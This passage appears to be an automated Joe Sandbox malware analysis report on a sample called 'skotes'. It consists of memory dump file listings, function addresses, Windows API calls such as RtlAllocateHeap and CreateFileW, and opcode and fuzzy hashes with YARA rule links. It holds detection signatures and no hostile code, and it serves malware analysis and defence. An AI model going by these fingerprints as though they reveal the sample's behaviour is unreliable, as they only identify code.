Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f937c51dd24d90ceec62de85e301591dfdf01de5f48f6f773ff648fc47ce8a7e
Instruction ID: bfd51096317addb6cd9ff27951a85ff077af68336f9c8274fe32d1145c919947
Opcode Fuzzy Hash: f937c51dd24d90ceec62de85e301591dfdf01de5f48f6f773ff648fc47ce8a7e
Instruction Fuzzy Hash: 55111571A0420AAFCB05DF98E9419DB7BF5EF48304F054069F809AB251D630EE21CB65

Function 00A0D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A0A813,00000001,00000364,00000006,000000FF,?,009ED3FC,56D4C919,?,009E7A8B,?), ref: 00A0D870

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0f2c4ed2cd9c578e0aeaa9ab949bdd745a8b4d8572448df185465abce23f156f
Instruction ID: 555270904a6c5bffa1b2e1b9d7f91988884f73da5ae7ca214b48e61b1a9197e0
Opcode Fuzzy Hash: 0f2c4ed2cd9c578e0aeaa9ab949bdd745a8b4d8572448df185465abce23f156f
Instruction Fuzzy Hash: B4F0A733A4512D66EB217BF6BD01A5B3B99DF817B0F29C121FC04A71D1DA30EC1986E0

Function 00A0B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,56D4C919,?,?,009ED3FC,56D4C919,?,009E7A8B,?,?,?,?,?,?,009D7465,?), ref: 00A0B07E

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a5b7ee065fe7c47d2ff0ec801b487811b8fe01a7d5a5b898d5f066090bee2663
Instruction ID: 637396645a3476382879d14d596ab475de5b5919e3442df1b23c194764a9028c
Opcode Fuzzy Hash: a5b7ee065fe7c47d2ff0ec801b487811b8fe01a7d5a5b898d5f066090bee2663
Instruction Fuzzy Hash: 86E092355A122EA6EB313B75BF41BAFB648DF423B1F151220EDA4965D1EB20DC0081F0

Function 00A11775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00A11B65,?,?,00000000,?,00A11B65,00000000,0000000C), ref: 00A11792

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4b214562fb00cd1a21673c240bda7fc59dcda70f147644a292e007ce0da75ac3
Instruction ID: 4f16a4cc930460cf52a0253f7a5cf12b3e4310912d18a9a51e33205b4a9ac7cc
Opcode Fuzzy Hash: 4b214562fb00cd1a21673c240bda7fc59dcda70f147644a292e007ce0da75ac3
Instruction Fuzzy Hash: 10D0923204010DBBDF129E85DD06EDA3BAAFB48718F014100BE1C66020C772E831AB94

Function 04AD07E2 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48eaf32b2d2dec5598d7200e561f4f6afe4b68b553221a81e4abf8ae4d177d14
Instruction ID: 964313b529786244ca81fb58410768efba39a186b24f1f933c75e074bf9ee0e6
Opcode Fuzzy Hash: 48eaf32b2d2dec5598d7200e561f4f6afe4b68b553221a81e4abf8ae4d177d14
Instruction Fuzzy Hash: 9711ACFB24C220BD710290926B549FB7A7EE5D3734B31C037F947D6146E2C95A4A71B2

Function 04AD07EE Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10557b0bdac8f22d167a50cc9530cb1dd92c81d9a15a4eff9ddfa50f1b85e7de
Instruction ID: eda41b6af4182a88e8a4339b04c129011ff01e7cabff8a8dabc43752a074cc78
Opcode Fuzzy Hash: 10557b0bdac8f22d167a50cc9530cb1dd92c81d9a15a4eff9ddfa50f1b85e7de
Instruction Fuzzy Hash: 99118BFB24C220BC710290826B549FB7A7EE5D3775B31C037F957D6146E2C91A4971B2

Function 04AD0806 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e0b7bd19bacfb5eeaad990a8303f75a9357aa93567dbc10cd64c8a9476703b
Instruction ID: f1ef9340f9a7341852001decef25f08d118bebab1c0bd8465447bc3646aea749
Opcode Fuzzy Hash: 76e0b7bd19bacfb5eeaad990a8303f75a9357aa93567dbc10cd64c8a9476703b
Instruction Fuzzy Hash: D411E2FB24C220BDB10250926B14AFB7B7DE5D3734B70C136F957D6082E2C91A4971B1

Function 04AD0823 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0956ca31a3b1b84cf7761067b5bb617df1af646c61722f772f81b95fa646c887
Instruction ID: b6ea6f9098040eb774affbe702e7c791a762dd101d837c9466175c3c4c52750c
Opcode Fuzzy Hash: 0956ca31a3b1b84cf7761067b5bb617df1af646c61722f772f81b95fa646c887
Instruction Fuzzy Hash: A911A0FB24C220BD720291826B549FB7B3DE5C3334731C03BF957D6146E2891A497576

Function 04AD0868 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f998f6af838ef829e167bf4bafc304f0e5fbbfddc29163cfa9643523c02680db
Instruction ID: 6a4ae38dd04a775c3996454d8fe93b1e19bffb46ae554966881a8062eef1c80a
Opcode Fuzzy Hash: f998f6af838ef829e167bf4bafc304f0e5fbbfddc29163cfa9643523c02680db
Instruction Fuzzy Hash: 8C1121FB28C220BDB25285A266544FB7F7AF9D3334B70C036F557D2042F2881A09B171

Function 04AD084C Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c2fbea390242114bde5c92a6d507146a666a922ee4de866c4f4ef1ffef14668
Instruction ID: 1f4b9569958d8521ae3bc1a7453ebf715ff1d9fa2e593b81f29041ac756327d9
Opcode Fuzzy Hash: 4c2fbea390242114bde5c92a6d507146a666a922ee4de866c4f4ef1ffef14668
Instruction Fuzzy Hash: 5C01F1FB28D220BCB20251926A549FB7E39F9D3335770C036FA67D6542B2881A49B571

Function 04AD0899 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1041f5251eaf1479fd18336ce49fedbdcfbbda1670bf2537278e6bdc93b34371
Instruction ID: 3e679acccc77d0ea74afa5bf96284548b5385a988140ba07061b8f1a41df8e56
Opcode Fuzzy Hash: 1041f5251eaf1479fd18336ce49fedbdcfbbda1670bf2537278e6bdc93b34371
Instruction Fuzzy Hash: 880189F664C300EEA20242615A654BB3F75F6A3338730807BE183DB253E1882946B676

Function 04AD090B Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a9562154c7ab8c9132ccc1b4de888b8921bf38de3c94f3fcf2726843345ab7
Instruction ID: c074d7ac5103c6579a0d0c2342e5a90f1d157dac70206bf2c920740de1b11f26
Opcode Fuzzy Hash: c8a9562154c7ab8c9132ccc1b4de888b8921bf38de3c94f3fcf2726843345ab7
Instruction Fuzzy Hash: 12F09EFB34E010AC361191B223103FB3FB4A1837387708133E1238D6C6E1442656F121

Function 04AD08CD Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3010460147.0000000004AD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ad0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
